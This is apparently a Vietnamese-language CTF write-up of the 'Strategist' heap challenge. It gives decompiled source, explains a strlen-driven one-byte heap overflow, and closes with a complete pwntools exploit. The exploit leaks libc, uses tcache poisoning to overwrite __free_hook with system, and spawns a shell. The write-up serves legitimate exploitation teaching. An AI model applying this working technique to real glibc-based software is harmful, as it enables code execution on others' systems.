pwn - Strategist

To move forward, Sir Alaric requests each member of his team to present their most effective planning strategy. The individual with the strongest plan will be appointed as the Strategist for the upcoming war. Put forth your best effort to claim the role of Strategist!

Summary: Strategist is an medium difficulty challenge that features Heap overflow, tcache poisoning.

November 4, 2025 October 30, 2025 Medium
Author Author Hung Nguyen Tuong

Setup

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cyberapocalypse2025/strategist/challenge]
└─$ pwninit --bin strategist --libc ./glibc/libc.so.6 --ld ./glibc/ld-linux-x86-64.so.2 
bin: strategist
libc: ./glibc/libc.so.6
ld: ./glibc/ld-linux-x86-64.so.2

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.4_amd64.deb
copying strategist to strategist_patched
running patchelf on strategist_patched
writing solve.py stub

GLIBC Version

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cyberapocalypse2025/strategist/challenge]
└─$ strings glibc/libc.so.6 | grep "GLIBC "
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.

Source Code

main()

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 choice; // rax
  __int64 s[101]; // [rsp+0h] [rbp-330h] BYREF
  unsigned __int64 canary; // [rsp+328h] [rbp-8h]

  canary = __readfsqword(0x28u);
  memset(s, 0, 800u);
  banner();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        choice = menu();
        if ( choice != 2 )
          break;
        show_plan(s);                           // choice = 2
      }
      if ( choice > 2 )
        break;
      if ( choice != 1 )
        goto exit;
      create_plan(s);                           // choice = 1
    }
    if ( choice == 3 )
    {
      edit_plan(s);                             // choice = 3
    }
    else
    {
      if ( choice != 4 )
      {
exit:
        printf("%s\n[%sSir Alaric%s]: This plan will lead us to defeat!\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
        exit(1312);
      }
      delete_plan(s);                           // choice = 4
    }
  }
}

create_plan()

unsigned __int64 __fastcall create_plan(__int64 *s)
{
  int size; // [rsp+18h] [rbp-18h] BYREF
  int index; // [rsp+1Ch] [rbp-14h]
  void *buf; // [rsp+20h] [rbp-10h]
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  index = check(s);
  if ( index == -1 )
  {
    printf("%s\n[%sSir Alaric%s]: Don't go above your head kiddo!\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
    exit(1312);
  }
  printf("%s\n[%sSir Alaric%s]: How long will be your plan?\n\n> ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  size = 0;
  __isoc99_scanf("%d", &size);
  buf = malloc(size);
  if ( !buf )
  {
    printf("%s\n[%sSir Alaric%s]: This plan will be a grand failure!\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
    exit(1312);
  }
  printf("%s\n[%sSir Alaric%s]: Please elaborate on your plan.\n\n> ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  read(0, buf, size);
  s[index] = buf;
  printf(
    "%s\n[%sSir Alaric%s]: The plan might work, we'll keep it in mind.\n\n",
    "\x1B[1;32m",
    "\x1B[1;33m",
    "\x1B[1;32m");
  return __readfsqword(0x28u) ^ canary;
}
check()
__int64 __fastcall check(__int64 *s)
{
  unsigned int i; // [rsp+14h] [rbp-Ch]

  for ( i = 0; i <= 99; ++i )
  {
    if ( !s[i] )
      return i;
  }
  return 0xFFFFFFFFLL;                          // -1
}

show_plan()

unsigned __int64 __fastcall show_plan(__int64 *s)
{
  unsigned int index; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  printf("%s\n[%sSir Alaric%s]: Which plan you want to view?\n\n> ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  index = 0;
  __isoc99_scanf("%d", &index);
  if ( index >= 100 || !s[index] )
  {
    printf("%s\n[%sSir Alaric%s]: There is no such plan!\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
    exit(1312);
  }
  printf("%s\n[%sSir Alaric%s]: Plan [%d]: %s\n", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m", index, s[index]);
  return __readfsqword(0x28u) ^ canary;
}

edit_plan()

unsigned __int64 __fastcall edit_plan(__int64 *s)
{
  size_t len; // rax
  unsigned int index; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  printf("%s\n[%sSir Alaric%s]: Which plan you want to change?\n\n> ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  index = 0;
  __isoc99_scanf("%d", &index);
  if ( index >= 100 || !s[index] )
  {
    printf("%s\n[%sSir Alaric%s]: There is no such plan!\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
    exit(1312);
  }
  printf("%s\n[%sSir Alaric%s]: Please elaborate on your new plan.\n\n> ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  len = strlen(s[index]);
  read(0, s[index], len);
  putchar('\n');
  return __readfsqword(0x28u) ^ canary;
}

delete_plan()

unsigned __int64 __fastcall delete_plan(__int64 *s)
{
  unsigned int index; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  printf("%s\n[%sSir Alaric%s]: Which plan you want to delete?\n\n> ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  index = 0;
  __isoc99_scanf("%d", &index);
  if ( index >= 100 || !s[index] )
  {
    printf("%s\n[%sSir Alaric%s]: There is no such plan!\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
    exit(1312);
  }
  free(s[index]);
  s[index] = 0;
  printf("%s\n[%sSir Alaric%s]: We will remove this plan!\n\n", "\x1B[1;32m", "\x1B[1;33m", "\x1B[1;32m");
  return __readfsqword(0x28u) ^ canary;
}

Mitigation

Solve

Khi chúng ta cấp phát chunk với kích thước không chia hết cho 16, ví dụ như 0x48 thì tổng kích thước bao gồm cả header sẽ là 0x50 thay vì 0x60, 8 bytes còn thiếu sẽ được lấy ở trường prev_size của chunk ngay sau. Bởi prev_size chỉ có ý nghĩa khi chunk ngay trước đã được giải phóng.

Để ý trong edit_plan()len = strlen(s[index]), hàm strlen() sẽ tính cho đến khi gặp byte null. Nếu chúng ta cấp phát một chunk và ghi đến hết trường prev_size của chunk sau, thì kết quả trả về của strlen() có thể vượt quá kích thước của chunk hiện tại, bởi nó sẽ duyệt qua trường size của chunk sau. Điều này dẫn đến overflow, và có thể dùng để ghi đè kích thước của chunk sau.

Giả sử ta đã ghi đè kích thước của một chunk lớn hơn nhiều so với kích thước thật. Sau đó giải phóng nó vào tcache bin, rồi cấp phát lại với kích thước giả mạo (read(0, buf, size)). Vậy ta có thể overflow qua nó, chẳng hạn ghi đè con trỏ fd của chunk liền sau mà đã giải phóng vào tcache bin trước đó, thực hiện tcache poisoning.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("strategist_patched", checksec=False)
libc = ELF("./glibc/libc.so.6", checksec=False)
ld = ELF("./glibc/ld-linux-x86-64.so.2", checksec=False)

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = ""
        port = 0
        return remote(host, port)

p = conn()

def create(size, content):
    slan(p, b'>', 1)
    slan(p, b'>', size)
    sa(p, b'>', content) # sendafter để tránh để lại ký tự \n trong buffer

def show(index):
    slan(p, b'>', 2)
    slan(p, b'>', 0)
    ru(p, f'[{index}]: '.encode())
    return rc(p, 6)

def edit(index, content):
    slan(p, b'>', 3)
    slan(p, b'>', index)
    sa(p, b'>', content) # sendafter để tránh để lại ký tự \n trong buffer

def delete(index):
    slan(p, b'>', 4)
    slan(p, b'>', index)

create(0x410, b'A') # Cấp phát chunk index 0, size > 0x408 để không vào tcache bin
create(0x48, b'A' * 0x48) # Cấp phát chunk index 1
create(0x48, b'A' * 0x48) # Cấp phát chunk index 2
create(0x48, b'A' * 0x48) # Cấp phát chunk index 3

# Leak địa chỉ libc
delete(0) # Giải phóng chunk index 0 vào unsorted bin
create(0x48, b'A') # Cấp phát lại chunk index 0 để leak con trỏ fd
libc_leak = u64(show(0) + b'\0\0')
libc.address = libc_leak - 0x3ec041
print(f"libc base: {hex(libc.address)}")

# Sửa chunk index 1 và overflow 1 byte đến trường size của chunk index 2 từ 0x50 thành 0x80
edit(1, b'A' * 0x48 + p8(0x81))

# Giải phóng các chunk index 2 và 3 lần lượt vào tcache bin 0x80 và 0x50
delete(2)
delete(3) # Tại glibc 2.27, chunk này được đưa vào tcache thay vì gộp vào với top chunk

# Vì chunk index 3 nằm ngay sau chunk index 2, mà size của index 2 đã bị làm giả thành size lớn hơn, nên có thể cấp phát lại chunk index 2 với kích thước giả đó để overflow đến chunk 3, từ đó thực hiện tcache poisoning, ghi đè con trỏ fd của chunk 3 đến __free_hook (glibc < 2.34)
create(0x70, b'A' * 72 + p64(0x51) + p64(libc.symbols['__free_hook']))

# Cấp phát chunk index 3 và ghi /bin/sh vào đó
create(0x48, b'/bin/sh\0')

# Cấp phát lần nữa để ghi đè vào __free_hook thành system
create(0x48, p64(libc.symbols['system']))

# free(chunk index 3) -> system('/bin/sh')
delete(3)

rr(p, 1)

ia(p)